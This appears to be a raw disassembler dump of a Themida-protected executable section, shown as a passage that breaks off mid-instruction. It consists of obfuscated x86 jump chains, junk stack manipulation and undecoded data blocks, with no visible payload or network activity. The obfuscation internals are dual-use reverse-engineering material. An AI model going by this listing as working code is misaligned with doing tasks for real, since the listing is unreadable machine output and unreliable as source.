dd 635729FCh, 0E6363305h, 500A2D12h, 0C8296881h, 81500A05h dd 10F1E968h, 14B70000h, 7AE95366h, 81FFFFFCh, 4C4h, 24048F00h dd 0FF24248Bh, 0C8B2434h, 0E6895624h, 4C681h, 0C6830000h dd 24348704h, 0FFFD95E9h db 0FFh ; --------------------------------------------------------------------------- loc_5534B5: ; CODE XREF: Themida_:00554835j pop edx mov bl, al mov eax, [esp] add esp, 4 pop ecx jmp loc_561774 ; --------------------------------------------------------------------------- db 1 dd 2C875BDDh, 24248B24h, 406DBE56h, 0F68104D3h, 4FC132DBh dd 3DFDE955h, 0DFF70001h, 4ACFBE56h, 0E95268B8h, 0F011h ; --------------------------------------------------------------------------- loc_5534F0: ; CODE XREF: Themida_:00563CEEj push ecx jmp loc_562A08 ; --------------------------------------------------------------------------- dw 5A5Bh dd 4C281h, 0EA810000h, 4, 873FE952h, 4BF0000h, 891ED965h dd 5CE95FFDh, 5C0000F6h, 17BBA52h, 0E281319Bh, 157274C2h dd 6419E281h, 0BD55143Ah, 0EFEE0004h, 1AB6EA81h, 0EA016271h dd 1AB6C281h, 295D6271h, 2C875AD5h, 0C895C24h, 6199B924h dd 0C9810DB2h, 47AE30DBh, 8149D1F7h, 0D55BA3E1h, 0B1C18141h dd 5526E574h, 412511BDh, 5DE82967h, 0BD55C829h, 2DF03603h dd 0E905E5C1h, 12C64h, 0B850E789h, 4, 98E9C701h, 5B000026h dd 2871BD55h, 0F58170C5h, 4CC05D3Eh, 70EDE9h db 0 ; --------------------------------------------------------------------------- loc_55359D: ; CODE XREF: Themida_:0055E04Aj pop ebp jmp loc_559FE9 ; --------------------------------------------------------------------------- aH@SSB db 'H@',0Dh,'‘$',9,'&鵡',0 dw 3100h dd 14332414h, 0DA05E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5535BA: ; CODE XREF: Themida_:005554F9j add ebp, esi jmp loc_552A4F ; --------------------------------------------------------------------------- db 58h, 57h, 0BFh dd 21E930E9h, 3DD5EF81h, 0DFF73593h, 43F7814Fh, 0C17DE576h dd 0EF8105EFh, 0E4877D1Fh, 523CE9h db 0 ; --------------------------------------------------------------------------- loc_5535E5: ; CODE XREF: Themida_:00567580j sub eax, 51EF5FFBh jmp loc_563311 ; --------------------------------------------------------------------------- loc_5535EF: ; CODE XREF: Themida_:0055BD9Aj pop edx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_561462 ; --------------------------------------------------------------------------- dd 4E9815Fh, 87000000h, 0E3E9240Ch, 2D000064h, 4AE15C83h dd 8324348Bh, 780504C4h, 0E937AA0Bh, 9318h ; --------------------------------------------------------------------------- loc_553628: ; CODE XREF: Themida_:00555F26j push ecx mov ecx, 36BC13D1h add ecx, 46F34967h jmp loc_55C2B2 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 83000000h, 2FE902C3h, 810000FEh, 4C4h, 0AE95700h, 81000092h dd 0EB3326EAh, 0C2815830h, 382F7B77h, 6E31C281h, 0EA017BBCh dd 6E31EA81h, 0EA817BBCh, 382F7B77h, 8904EC83h, 7AB82404h dd 50A8C1Ch, 201D0ACEh, 3506E0C1h, 0F96CD09Dh, 3DE9C201h db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553693: ; CODE XREF: Themida_:0055AAB4j sub edx, 10BF677Eh jmp loc_554532 ; --------------------------------------------------------------------------- aFyaQsei db 'fY€Ãqé¥I',0 align 4 dd 2563BB53h, 0C38120CFh, 1B2714C4h, 0FFF5CDE9h, 92E95DFFh dd 0F70000AAh, 0AA64E9DBh, 0F2810000h, 0CD29484Eh, 0E95AD531h dd 177h, 405E089h, 0E9000000h, 2EB5h, 54241489h, 5624148Bh dd 0EE9E689h, 8100004Dh, 4CD515F1h, 3CECE9F4h db 1, 0 ; --------------------------------------------------------------------------- loc_5536FA: ; CODE XREF: Themida_:0055D385j mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_558337 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 5C243C87h, 79CFC581h, 89522D69h, 5AD689EAh, 24148B5Dh dd 0E904C483h, 12767h, 1C8BDF29h, 4C48124h, 59000000h dd 0FFF5D8E9h, 0EC81ACFFh, 4, 0B7241C89h, 7EFC0FAh, 2CC2F780h dd 2B0AE981h, 0BE560000h, 617163DCh, 8905E951h, 0E9570000h dd 258Ah ; --------------------------------------------------------------------------- loc_553784: ; CODE XREF: Themida_:00565B6Dj add edx, 7AC4225Ch sub edx, edi sub edx, 7AC4225Ch mov edi, edx pop edx add edi, 0FBB5DF04h add ecx, edi push dword ptr [esp] pop edi add esp, 4 push edi mov edi, 4 jmp loc_55CF69 ; --------------------------------------------------------------------------- dw 0BA52h dd 242B5BF2h, 0C281DAF7h, 10D440A2h, 6B73C281h, 0C2812A31h dd 0FBCE3A8h, 835AD389h, 348904ECh, 0E242E924h, 0D3F70000h dd 0F681DE87h, 0FCFC23EDh, 8BE9F501h db 33h, 1, 0 ; --------------------------------------------------------------------------- loc_5537EB: ; CODE XREF: Themida_:0055F8BBj add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx mov dx, cx mov si, dx pop edx mov ecx, [esp] push 0A5Dh mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_55BC9D ; --------------------------------------------------------------------------- dd 2705685Ah, 3C890000h, 254ABF24h, 0EF813EF9h, 0FFFFFFFFh dd 3001E9h, 40942D00h, 0BA527898h, 9E30865h, 0EAE9D001h dd 8100003Ah, 4CA91FC5h, 0F6A2E9EFh, 1C87FFFFh, 0A0D5C24h dd 5397925h, 12D701E3h, 0C102E0C1h, 514007E0h, 6911E9h db 0 ; --------------------------------------------------------------------------- loc_553871: ; CODE XREF: Themida_:00561BB8j pop esi jmp loc_5605DB ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 2414D259h, 0EF78E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553886: ; CODE XREF: Themida_:00554BC8j mov esp, [esp] push 39D6h mov [esp], ebx mov ebx, esp push eax push ecx mov ecx, 2D407DC0h xor ecx, 4E88740Ch shr ecx, 5 jmp loc_559482 ; --------------------------------------------------------------------------- dd 21FDE95Bh, 53580001h, 468h, 0D9295B00h, 240C335Bh, 33240C31h dd 248B240Ch, 241C8924h, 915F0EBBh, 0CEC6812Dh, 174AE37h dd 0B7E955DEh, 8700003Eh, 33E92434h, 5100002Fh, 895216B1h dd 4C281E2h, 0E9000000h, 0D9EAh ; --------------------------------------------------------------------------- loc_5538F4: ; CODE XREF: Themida_:00561568j mov edx, 243C9550h push 7A63h mov [esp], ebx mov ebx, 2FBA786Bh inc ebx dec ebx not ebx jmp loc_552FBE ; --------------------------------------------------------------------------- db 81h dd 5C4201C3h, 2EA16822h, 14890000h, 14D3BA24h, 0EA81422Fh dd 708325E1h, 8107EAC1h, 0BE5766EAh, 5E2C120h, 5004EAC1h dd 9A2A3DB8h, 53A10526h, 0C231DD72h, 0C012E9h, 6DE95800h dd 81000048h, 0D413B6CFh, 0C120E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55395A: ; CODE XREF: Themida_:0056451Ej xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_5533AF ; --------------------------------------------------------------------------- loc_553968: ; CODE XREF: Themida_:00564ECEj push ebp push ecx mov ecx, esp add ecx, 4 jmp loc_566862 ; --------------------------------------------------------------------------- db 0BDh dd 0D173D38h, 11090E9h db 0 ; --------------------------------------------------------------------------- loc_553981: ; CODE XREF: Themida_:00555A43j inc byte ptr [esp] jmp loc_563447 ; --------------------------------------------------------------------------- loc_553989: ; CODE XREF: Themida_:00554936j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], edx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx mov bl, 0B6h mov dh, 0D8h add dh, bl jmp loc_55F343 ; --------------------------------------------------------------------------- dd 2024248Bh, 0E99C2404h, 0FFFFEE3Eh ; --------------------------------------------------------------------------- loc_5539C0: ; CODE XREF: Themida_:00558B8Ej pop bx push ecx mov ch, 2Eh sub al, ch pop ecx jmp loc_55F23B ; --------------------------------------------------------------------------- db 0BBh, 84h, 29h dd 0DD011382h, 241C8B5Bh, 5504C483h, 42474FFh, 3454E95Dh dd 0C4830001h, 5AD32104h, 1B5AB951h, 0CB310E13h, 81240C8Bh dd 4C4h, 0EFE95300h db 0C6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553A03: ; CODE XREF: Themida_:00561477j mov edi, ebx mov ebx, [esp] add esp, 4 add eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 push 90Bh mov [esp], ebx push ecx push edx mov edx, 55794EE1h push ebx push 198510BDh pop ebx neg ebx xor ebx, 0B83B8355h mov ecx, ebx pop ebx jmp loc_562A91 ; --------------------------------------------------------------------------- loc_553A48: ; CODE XREF: Themida_:005677DAj sub ebx, esi pop esi add ebx, edx add ebx, 24B535BCh jmp loc_55987E ; --------------------------------------------------------------------------- loc_553A58: ; CODE XREF: Themida_:0055F136j pop ecx jmp loc_55AA40 ; --------------------------------------------------------------------------- loc_553A5E: ; CODE XREF: Themida_:0055CBBEj xor [esp+4], eax mov eax, [esp] add esp, 4 push dword ptr [esp] jmp loc_563BF9 ; --------------------------------------------------------------------------- db 66h dd 0E9243489h, 13DB1h ; --------------------------------------------------------------------------- loc_553A7C: ; CODE XREF: Themida_:0055BA14j mov esi, 50841506h or edi, esi pop esi or edi, 794C04CDh xor edi, 678D151Bh push ecx jmp loc_5663B7 ; --------------------------------------------------------------------------- loc_553A96: ; CODE XREF: Themida_:0055A576j add ebx, eax pop eax jmp loc_55DF17 ; --------------------------------------------------------------------------- dw 62B9h dd 4142FF4Dh, 0D7BE9h db 0 ; --------------------------------------------------------------------------- loc_553AA9: ; CODE XREF: Themida_:0055D325j sub bl, 72h jmp loc_55BAEE ; --------------------------------------------------------------------------- db 5Eh, 83h, 0C4h dd 24048F04h, 4139685Ch, 24890000h, 24048124h, 4, 8124048Fh dd 4ECh, 21DE900h, 0E6BA0001h, 0F76DB32Fh, 15EA81D2h, 1924CD0h dd 24148BD3h, 8304C483h, 0FF5302EBh, 5B042474h, 5C24048Fh dd 24148966h, 81E28952h, 4C2h, 4EA8300h, 10531E9h, 5FEC3500h dd 97E956CAh, 87000041h, 895C243Ch, 0C8BB241Ch, 0C1038958h dd 0F75304EBh, 99E92414h, 83000000h, 0C18104C4h, 4, 2BF57h dd 0E9810000h, 248B0427h, 4A7CBB53h, 0EBC17D33h, 51DBF704h dd 0CC54E9h, 71BD5500h, 8170584Eh, 7A2041C5h, 30ED813Ch dd 1A027F8h, 0D8C9E9E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553B6E: ; CODE XREF: Themida_:00565D55j pop ebp push 1B04h jmp loc_556ACC ; --------------------------------------------------------------------------- db 0B9h, 0C2h, 1Fh dd 0F1810D63h, 543E149Ah, 0D159CD31h, 68B850EDh, 217DF87Fh dd 0ED8158C5h, 0DB56D42Fh, 15DEE01h, 4AFBE9F5h, 0E95B0000h dd 17C1h, 40558h, 4050000h, 50000000h, 42474FFh, 5024048Bh dd 405E089h, 0E9000000h, 0F20Bh, 91C3815Bh, 1003895h, 0C7835BDFh dd 67E86802h, 3C890000h, 2474FF24h, 48F5F04h, 24248B24h dd 24048B66h, 52AB68h, 24348900h, 24348B54h, 5CB168h, 242C8900h dd 5EDDE954h, 815E0000h, 0A868ADCAh, 0E9555731h, 0F54h ; --------------------------------------------------------------------------- loc_553C14: ; CODE XREF: Themida_:005582F5j push dword ptr [esp+4] push dword ptr [esp] pop ebp add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_56404C ; --------------------------------------------------------------------------- aI4Wssc db '‰4$W鑿',0 align 2 aI4H db '‰4$h×&',0 align 2 dw 35E9h dd 89FFFFF2h, 4812424h, 424h, 2434FF00h, 483EE95Dh, 81460000h dd 52FCF7C6h, 0E2BD5590h, 45784344h, 0C02EE9h db 0 ; --------------------------------------------------------------------------- loc_553C69: ; CODE XREF: Themida_:0055F472j pop edi mov ebp, eax pop eax sub esp, 4 mov [esp], eax mov eax, 44640346h sub ebp, 2BB07C86h jmp loc_554D96 ; --------------------------------------------------------------------------- loc_553C86: ; CODE XREF: Themida_:0055BC03j add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_555DB4 ; --------------------------------------------------------------------------- loc_553C9D: ; CODE XREF: Themida_:0055C359j push ecx pop eax push dword ptr [esp] pop ecx add esp, 4 push edi push ebp push 5793h jmp loc_55D455 ; --------------------------------------------------------------------------- db 33h, 1Ch, 24h dd 0FFF1C3E9h, 57515BFFh, 0E245E9h db 0 ; --------------------------------------------------------------------------- loc_553CC5: ; CODE XREF: Themida_:0055D697j add dword ptr [esp+8], 0DF34EE6h sub [esp+8], edi sub dword ptr [esp+8], 0DF34EE6h jmp loc_552C61 ; --------------------------------------------------------------------------- loc_553CDE: ; CODE XREF: Themida_:00556E97j mov bh, 6Eh add ch, bh pop ebx add bl, ch push dword ptr [esp] pop ecx push 1ADDh jmp loc_5571EB ; --------------------------------------------------------------------------- db 0F7h dd 7E5C1DDh, 330EF581h, 0EDC13130h, 0DBF58106h, 314EC135h dd 242C8BE9h, 5504C483h, 0AFC3E9h, 4C68100h, 81000000h dd 4EEh, 24348700h, 2069E95Ch, 555F0000h, 1CAE68h, 24148900h dd 0CF242C81h, 8B2D6979h, 8957242Ch, 4C781E7h, 0E9000000h dd 0FFFFF9DAh, 8124348Bh, 4C4h, 0E9535600h, 9612h, 0FC5EE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553D62: ; CODE XREF: Themida_:005547FBj pop edx add ecx, ebp pop ebp add [edx+30h], ecx pop ecx sub dword ptr [edx+30h], 0EEB542Ch not dword ptr [edx+30h] push 502Ah mov [esp], eax push edi jmp loc_55D0E5 ; --------------------------------------------------------------------------- loc_553D82: ; CODE XREF: Themida_:00563A18j and ecx, 136A7BA4h push esi mov esi, 56D32393h sub ecx, esi jmp loc_55CF9A ; --------------------------------------------------------------------------- db 0BEh, 4Bh, 12h dd 0F6812E20h, 40386641h, 17DFEE81h, 0DEF75FD8h, 1118F681h dd 0E6815A87h, 4F3257D5h, 12C1F681h, 0F2010B30h, 2414875Eh dd 9BE9555Ch, 8F0000BFh, 0EA30E900h, 4BBEFFFFh, 810BE464h dd 64639C3h, 15BA5203h, 122D235h, 0F3295AD3h, 3515EB81h dd 0EB8122D2h, 3064639h, 8124348Bh, 4C4h, 4EC8100h, 89000000h dd 0B9240Ch, 55000000h, 787350BDh, 65E58116h, 0D13DFA6Eh dd 0FEC581EDh, 81010A7Bh, 0B9CE7AC5h, 5DE92947h, 0C181D901h dd 53007B98h, 0BB53h, 0CB010000h, 0E95B0303h, 0D2E3h, 48BC629h dd 4C48324h, 5C83BA52h, 14E94AE1h, 5EFFFFECh, 8B24048Fh dd 0B2E92424h, 5900003Eh, 5F7768h, 1AD0E900h db 1, 0 ; --------------------------------------------------------------------------- loc_553E66: ; CODE XREF: Themida_:005634CCj add esp, 2 add bl, al add bl, 84h jmp loc_55946C ; --------------------------------------------------------------------------- loc_553E76: ; CODE XREF: Themida_:0055E59Cj xor esi, 0ACE3C4EFh sub esp, 4 mov [esp], ebp mov ebp, 37F70178h add [esp+8], ebp push dword ptr [esp] pop ebp add esp, 4 push 4F9Dh mov [esp], ebp mov ebp, 35255B2Dh add [esp+8], ebp mov ebp, [esp] add esp, 4 jmp loc_55A81B ; --------------------------------------------------------------------------- dd 0E935B753h, 2802h ; --------------------------------------------------------------------------- loc_553EBC: ; CODE XREF: Themida_:0055DA1Ej add esi, 4 jmp loc_55928C ; --------------------------------------------------------------------------- db 81h dd 0D063C5EEh, 81C6015Fh, 0D063C5C6h, 0E0C6815Fh, 8101D87Ch dd 1C267EEEh, 23B66855h, 34890000h, 0E0685124h, 59243C6Eh dd 5F07C981h, 7BE927BEh db 0C2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553EFB: ; CODE XREF: Themida_:0055E392j pop edi pop eax not eax xor edi, eax xor eax, edi xor edi, eax add edi, 5E487466h sub esp, 4 mov [esp], ebp jmp loc_55ED6F ; --------------------------------------------------------------------------- aBQzruhs db '\êïzRuhS',27h,0 dd 240C8900h, 32A2E9h db 0 ; --------------------------------------------------------------------------- loc_553F2D: ; CODE XREF: Themida_:00556C6Aj pop esp jmp loc_554496 ; --------------------------------------------------------------------------- db 68h dd 65Ah, 68243C89h, 2, 0D2C2815Fh, 0E934E20Ch, 0BAFCh ; --------------------------------------------------------------------------- loc_553F4C: ; CODE XREF: Themida_:00559295j pop esp xor ax, bx mov bx, [esp] sub esp, 4 mov [esp], ebp push esp jmp loc_5653C9 ; --------------------------------------------------------------------------- dd 8106EAC1h, 95729AC2h, 0A5D2E909h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553F6E: ; CODE XREF: Themida_:0055F3CAj mov eax, 664D2F31h xor eax, ebp jmp loc_55A26A ; --------------------------------------------------------------------------- dw 348Bh dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 89242C89h dd 4C581E5h, 83000000h, 2C8704C5h, 0CF015C24h, 0F553E9h dd 5EF08900h, 4E0AE9h, 24048700h, 6674E9h, 0EEC05B00h dd 0E9E6D002h, 7DBAh ; --------------------------------------------------------------------------- loc_553FC4: ; CODE XREF: Themida_:005621C8j pop esp mov [esp], ecx jmp loc_55FA55 ; --------------------------------------------------------------------------- db 0B9h, 4, 0 dd 0C8010000h, 0A2F3E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553FDA: ; CODE XREF: Themida_:00555E7Fj pop eax shl ecx, 2 and ecx, 34037526h jmp loc_561986 ; --------------------------------------------------------------------------- db 0BFh, 0, 0Ah dd 0EA817A42h, 54857D82h, 0DCE9FA01h, 660000B4h, 5624048Bh dd 0E904EC83h, 129EEh, 0C181C129h, 7A975036h, 240C8758h dd 2434895Ch, 12578E9h, 0C1815E00h, 7F647EB6h, 0E981C129h dd 7F647EB6h, 40E9C889h, 8100005Eh, 0A07625C5h, 1FA6E94Dh db 1, 0 ; --------------------------------------------------------------------------- loc_55403E: ; CODE XREF: Themida_:00555B37j add esp, 4 push ebx mov ebx, 2BA743Eh jmp loc_55629E ; --------------------------------------------------------------------------- db 83h dd 0B95104C4h, 2, 0C8BCA01h, 4C48124h, 33000000h, 44E92414h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55406B: ; CODE XREF: Themida_:0055CDF1j push edi mov edi, 7F0B08E0h dec edi add edi, 86EA3FAAh mov ebx, edi mov edi, [esp] jmp loc_565A66 ; --------------------------------------------------------------------------- loc_554082: ; CODE XREF: Themida_:0055A9E3j mov ebp, 59540569h add ebp, 0FFFFFFFFh add ebp, 0A6ABFA9Ch jmp loc_55E8B5 ; --------------------------------------------------------------------------- loc_554098: ; CODE XREF: Themida_:005657F0j xor edi, ecx jmp loc_55DB46 ; --------------------------------------------------------------------------- db 0BFh dd 720E751Bh, 875FFE21h, 0E9FEh, 0D7F70000h, 0C681FE87h dd 65EE63F8h, 23D4C681h, 0F2095FEEh, 5324348Bh, 431F68h dd 24248900h, 4240481h, 5B000000h, 19E95552h db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5540DB: ; CODE XREF: Themida_:0055555Fj mov bx, [esp] jmp loc_557952 ; --------------------------------------------------------------------------- dd 685FFB01h, 5152h, 0E9243489h, 0DDBEh ; --------------------------------------------------------------------------- loc_5540F4: ; CODE XREF: Themida_:0056327Cj shl edx, 8 jmp loc_567257 ; --------------------------------------------------------------------------- dd 81D2F74Ah, 0E748F8EAh, 3EAC158h, 8C68E2D1h, 8900004Ch dd 0ABB241Ch, 814C3966h, 0F4340EC3h, 2EBC165h, 6D3FBE56h dd 8AE9232Ah, 81000000h, 801CF4C2h, 0E5EA815Eh, 1211943h dd 0B95153C2h, 4F8C0AB5h, 4EC8141h, 0E9000000h, 131E8h ; --------------------------------------------------------------------------- loc_55414C: ; CODE XREF: Themida_:0055DD45j push 7F9Ch mov [esp], ebx mov ebx, 1231650h and ebx, 7A9A24CBh push 0 add dword ptr [esp], 30285D4Bh jmp loc_563DDD ; --------------------------------------------------------------------------- loc_554170: ; CODE XREF: Themida_:00565A6Bj push esi mov esi, 5ED01EC3h sub [esp+4], esi pop esi pop ebp add ebp, 5ED01EC3h jmp loc_56633A ; --------------------------------------------------------------------------- loc_554187: ; CODE XREF: Themida_:0055848Fj pop edi dec eax push ebp mov ebp, 0BB0474Fh xor ebp, 63D159F0h jmp loc_55FA06 ; --------------------------------------------------------------------------- loc_55419A: ; CODE XREF: Themida_:005627F2j add esp, 4 push ebp push 6C58h mov [esp], eax push esi add dword ptr [esp], 5BE74574h pop eax push edi jmp loc_559D36 ; --------------------------------------------------------------------------- db 52h, 0BAh, 38h dd 21567318h, 0EE815AD6h, 0F8699092h, 1447CE81h, 0CE817295h dd 50AD174Ch, 23CEF681h, 814E0AB3h, 5017B5F6h, 8BF30115h dd 0C4812434h, 4, 98C9C381h, 0DA31959Fh, 5AD6895Bh, 0E956DEF7h dd 223Dh, 524968h, 241C8900h, 128C3E9h, 0C2815A00h, 4 dd 2A3068h, 240C8900h, 4B9h, 0D4C28100h, 12B6661h, 0D4EA81CAh dd 0E92B6661h, 5432h, 8105E6C1h, 0DF7E9AF6h, 5920052Ch dd 0F00128E0h, 0E059202Dh, 5F08E928h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55424A: ; CODE XREF: Themida_:0055CF95j pop edx xchg ecx, edx push ebp push edi mov edi, 3A215CFh mov ebp, 0FC5DEA30h xor ebp, edi pop edi sub ecx, ebp pop ebp xchg ecx, edx xchg eax, edx or eax, 7FD25B0Fh jmp loc_55F454 ; --------------------------------------------------------------------------- loc_55426C: ; CODE XREF: Themida_:0055970Aj mov esp, [esp] pop eax push ecx mov ecx, esp push ebp push 2A034D31h pop ebp push ecx mov ecx, 3B3C1CFDh xor ecx, 531D093Eh xor ebp, ecx jmp loc_56646D ; --------------------------------------------------------------------------- db 0F7h, 0D3h, 55h dd 1F7AE5BDh, 53F5817Eh, 0C137587Bh, 0D5F706E5h, 7D6DC581h dd 5DE9ADC1h, 0BA000050h, 3D9738A1h, 2FAFF281h, 0EC831DBCh dd 242C8904h, 2B3F4EBDh, 0F5814504h, 41054A47h, 4CB9ED81h dd 0EA090F6Dh, 87EA815Dh, 81B6CB2Fh, 0D25806C3h, 81D32955h dd 0D25806EBh, 34FF5A55h, 0E7E95824h db 67h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5542EF: ; CODE XREF: Themida_:0055F110j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop esi push ebp mov ebp, esp push ebx mov ebx, 4 add ebp, ebx jmp loc_561238 ; --------------------------------------------------------------------------- db 51h dd 0B1F9B353h, 5BD928DDh, 0E980C9FEh, 0D9C180F8h, 0E998EB80h dd 109F0h, 3FF9EF81h, 0F7815DDDh, 67063A95h, 0E0C2E951h dd 0BD550000h, 4, 7499E9h, 0B30F6600h, 0E99C2404h, 0FFFFE4AEh dd 0C800C5B1h, 52665966h, 0AD08E9h db 0 ; --------------------------------------------------------------------------- loc_55435D: ; CODE XREF: Themida_:00556AC7j xor dl, bl jmp loc_559F7D ; --------------------------------------------------------------------------- dd 8904EC83h, 25B82404h, 50570C01h, 0F7243C87h, 243C87D7h dd 1171BE9h, 1C77FF00h, 8B2434FFh, 0C4832404h, 35636804h dd 34890000h, 892EE924h, 14870000h, 48F5C24h, 24248B24h dd 772EE9h, 4C48300h, 0E9241C33h, 6F9Ch ; --------------------------------------------------------------------------- loc_5543B0: ; CODE XREF: Themida_:0055925Aj mov ecx, 176478CEh sub [esp+8], ecx jmp loc_556B15 ; --------------------------------------------------------------------------- a13Hpq db '1<$3<$\hpq',0 align 2 dw 0A8E9h dd 5C0000F4h, 2474FF50h, 48F5804h, 24248B24h, 0E68F9F7h dd 89000049h, 9C502414h, 0FFE411E9h, 24048FFFh, 11A2FE9h dd 55232500h, 0E6252EB8h, 0D52D73Fh, 417F1B1Ch, 7C35D0F7h dd 29F57280h, 0F1AFE9C2h, 0E95DFFFFh, 0FFFFE3E6h, 0F381DBF7h dd 4CBC450Ah, 8539F381h, 0DF01DEB4h, 96B2E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55442E: ; CODE XREF: Themida_:0055884Ej inc ebp add ebp, 0E248B913h mov ecx, ebp pop ebp and eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 push ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx sub esp, 4 jmp loc_56524E ; --------------------------------------------------------------------------- dd 4C481h, 0C3810000h, 536B7CA2h, 49E9008Fh, 5B0000CFh dd 0B951C601h, 4F9A1049h, 8B59CE29h, 11E92404h, 88000052h dd 3B05E9F4h, 4890000h, 0E05BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554496: ; CODE XREF: Themida_:00553F2Ej mov [esp], esi mov esi, 482F70B9h add ebp, esi pop esi sub ebp, 1F805AFh push ebp dec dword ptr [esp] mov ebp, [esp] add esp, 4 add ebp, 354A1C47h add eax, 1BCC4208h push esi mov esi, 4C890DA4h add eax, esi pop esi sub eax, ebp sub eax, 4C890DA4h sub eax, 1BCC4208h jmp loc_567161 ; --------------------------------------------------------------------------- dw 0C483h dd 24048F04h, 12BA3E9h, 4C48300h, 0E9242C33h, 7DEEh ; --------------------------------------------------------------------------- loc_5544EC: ; CODE XREF: Themida_:00562B34j sub dword ptr [esp+4], 658130F2h jmp loc_554F7F ; --------------------------------------------------------------------------- db 81h, 0EBh, 0A6h dd 0E9D49643h, 0D2F4h, 8B243487h, 0C1382424h, 0E2ECE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554512: ; CODE XREF: Themida_:0055AA4Bj xor bh, 12h and bh, 0F6h add bh, 2 or dl, bh pop ebx push ecx jmp loc_56464F ; --------------------------------------------------------------------------- loc_554524: ; CODE XREF: Themida_:0055D191j sub bl, al add bl, 0Eh sub bl, 0CBh push edx jmp loc_55E11D ; --------------------------------------------------------------------------- loc_554532: ; CODE XREF: Themida_:00553699j pop eax add edx, 4 xchg edx, [esp] jmp loc_55EB6B ; --------------------------------------------------------------------------- dw 815Ah dd 4C4h, 6ECF6800h, 4890000h, 4EC8324h, 55243489h, 10CFB951h dd 0C1816797h, 86C290Eh, 0F759CD89h, 0E9DDF7D5h, 8FF5h ; --------------------------------------------------------------------------- loc_55456C: ; CODE XREF: Themida_:00557B56j sub esp, 4 mov [esp], ebp jmp loc_559E7B ; --------------------------------------------------------------------------- db 2Dh dd 12E63633h, 5A77E9h db 0 ; --------------------------------------------------------------------------- loc_554581: ; CODE XREF: Themida_:00552C81j mov edx, 0A430153h or edx, 0F9F1C60h not edx sub edx, 0F020E288h mov esi, edx mov edx, [esp] push ebx jmp loc_562848 ; --------------------------------------------------------------------------- db 59h dd 3A53E181h, 0E9416E8Dh, 11A79h, 562CA734h, 71E9D0F6h db 0A4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5545B7: ; CODE XREF: Themida_:005630F7j add eax, 3825A44h push ecx mov ecx, 55E61662h and eax, ecx jmp loc_55D8A6 ; --------------------------------------------------------------------------- loc_5545C9: ; CODE XREF: Themida_:0056681Fj pop edi mov eax, edx pop edx dec eax and eax, 539C36C1h neg eax push ebx jmp loc_557843 ; --------------------------------------------------------------------------- loc_5545DB: ; CODE XREF: Themida_:0055A1C9j xchg ecx, [esp] mov esp, [esp] push 1643h mov [esp], ebx mov ebx, 529069D4h sub ecx, ebx pop ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 push dword ptr [esp] pop edx add esp, 4 rep movsd add esp, [edx+38h] push 2A90h jmp loc_560B70 ; --------------------------------------------------------------------------- loc_554619: ; CODE XREF: Themida_:00555BB7j mov ebx, [esp] add esp, 4 sub ebx, 21F3556h mov ecx, ebx pop ebx mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_552B35 ; --------------------------------------------------------------------------- dw 0C483h dd 4160E904h, 0EAC00000h, 80C2FE07h, 51534EC2h, 0C89B050h dd 605EE998h, 248B0000h, 24148924h, 7828FD68h, 0D3295A42h dd 5A2434FFh, 4C481h, 0EB810000h, 8C0707Fh, 302AE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554682: ; CODE XREF: Themida_:00562104j pop ebx push dword ptr [edi+eax*4] mov eax, [esp] push 9B8h mov [esp], edx push 4755h push esp jmp loc_556053 ; --------------------------------------------------------------------------- dd 0E2E28142h, 68176572h, 75BBh, 0BF243C89h, 51F409C9h dd 0EC81D7F7h, 4, 0BA241489h, 9A37BB4Bh, 0FBE9D731h, 210000A5h dd 0A86CE9C5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5546CE: ; CODE XREF: Themida_:00565D41j pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp push 41E5h mov [esp], edx push 5Bh mov [esp], ebp mov ebp, 56F3051Eh jmp loc_55CED9 ; --------------------------------------------------------------------------- loc_5546F3: ; CODE XREF: Themida_:0055D467j mov ebp, 0FFFFFFFFh jmp loc_55D7E8 ; --------------------------------------------------------------------------- loc_5546FD: ; CODE XREF: Themida_:0055568Ej xchg ebp, [esp] pop esp and eax, edi push dword ptr [esp] pop edi push eax jmp loc_55E0CD ; --------------------------------------------------------------------------- loc_55470D: ; CODE XREF: Themida_:00559103j mov 